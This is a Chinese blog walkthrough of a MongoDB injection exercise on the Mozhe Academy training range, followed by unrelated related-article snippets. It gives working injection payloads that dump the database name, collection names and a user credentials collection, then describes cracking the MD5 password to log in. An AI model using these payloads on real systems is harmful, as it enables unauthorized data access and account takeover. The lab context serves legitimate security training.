SQL手工注入漏洞测试(MongoDB数据库)

news/2024/9/23 11:16:41/

此次靶场地址为:墨者学院

⼀. 如下给出的源码...可以看到数据库查询的语句如下..构造回显测试... 

new_list.php?id=1'});return ({title:'1',content:'2

⼆.成功显示“ 1” 和“ 2” 。可以在此来显示想要查询的数据。接下来开始尝试构造payload查询 当前数据库。通过回显观察到数据库为 mozhe_cms_Authority 其中tojson是可以把数据变成 json型数据,db为取当前数据库,即当前的数据库为 mozhe_cms_Authority 

new_list.php?id=1'});return({title:tojson(db),content:'2

三.得到数据库名之后就可以尝试爆出数据库下的表名了且构造Payload...其中db.getColl ectionNames() 返回⼀个包含当前数据库中所有集合名称的数组。

new_list.php?id=1'});return({title:tojson(db.getCollectionNames()),conten t:'2 

四.这样数据库的表名就被爆出来了,⼀共有三个表,分别为: Authority_confidentia l 、 notice 、 system_indexes 。最后我们就可以直接选取某个表爆出其中的数据了... 

new_list.php?id=1'});return({title:tojson(db.Authority_confidential.find() 0]),content:'2

五.最终我们就可以获得数据了,将密码进⾏MD5解密,返回登录⻚进⾏登录,划倒⻚⾯最下 端就可以看到KEY了。如果第⼀个⽤户账号密码登录不了,我们就改变查询的索引“ find()[1]” 查询 其他的⽤户账号密码登录即可.. 


http://www.ppmy.cn/news/1514757.html

相关文章

85.游戏改造-修改UI分辨率,面向对象方式

免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 内容参考于:易道云信息技术研究院 上一个内容:84.游戏改造-窗口化下的分辨率 首先剑侠情缘这个游戏它按f9是可以隐藏ui界面的&#xf…

NVDLA专题12:具体模块介绍——RUBIK

概述 RUBIK类似于BDMA,它无需任何数据计算对数据映射格式进行转换。RUBIK有3种工作模式,分别是: 合并(Contract)数据立方体将特征数据立方体分割为多平面(multi-planar)格式将多平面(multi-planar)格式合并到数据立方体 由于该…

使用flask遇到的问题及解决方法

flask在客户端接收到的中文显示乱码 解决: flask版本2.3.0以上:JSON_AS_ASCII 属性被废弃 app Flask(__name__) app.json.ensure_ascii False # 解决中文乱码问题 flask版本2.2.5以下: app Flask(__name__) app.config[JSON_AS_ASCII…

Objective-C中的数组双璧:NSArray与NSMutableArray全解析

标题:Objective-C中的数组双璧:NSArray与NSMutableArray全解析 在Objective-C编程语言中,数组是存储数据集合的一种基本而强大的数据结构。NSArray和NSMutableArray是两种常用的数组类型,它们在功能和使用场景上各有千秋。本文将…

【个人学习】JVM(8): 对象的实例化、内存布局、访问定位

对象的实例化内存布局与访问定位 对象的实例化 对象创建的方式 new:最常见的方式、单例类中调用getInstance的静态类方法,XXXFactory的静态方法Class的newInstance方法:在JDK9里面被标记为过时的方法,因为只能调用空参构造器&am…

html转vue项目

HTML是一种用于构建网页的标记语言,而Vue是一种用于构建用户界面的JavaScript框架。在HTML中使用Vue可以提供更加灵活和动态的用户界面功能。本文将介绍如何将HTML代码转换为Vue,并提供具体的代码示例。 首先,我们需要在项目中引入Vue框架。…

UDP 和TCP的应用

一、网络模型 (一)C/S 模型 客户端 / 服务器(Client/Server,C/S)模型是一种常见的网络架构。在这种模型中,客户端是主动的角色,向服务器发起请求;服务器端是被动的角色,…

node.js基础

文章目录 npm ||package.jsonnpm install 原理npm run 原理npx1.npx优势npm 和 npx 区别示例示例2 发布npm包发布[npm](https://so.csdn.net/so/search?qnpm&spm1001.2101.3001.7020)的包的好处是什么发布前准备工作发布 npm搭建私服构建私服有什么收益吗?如何…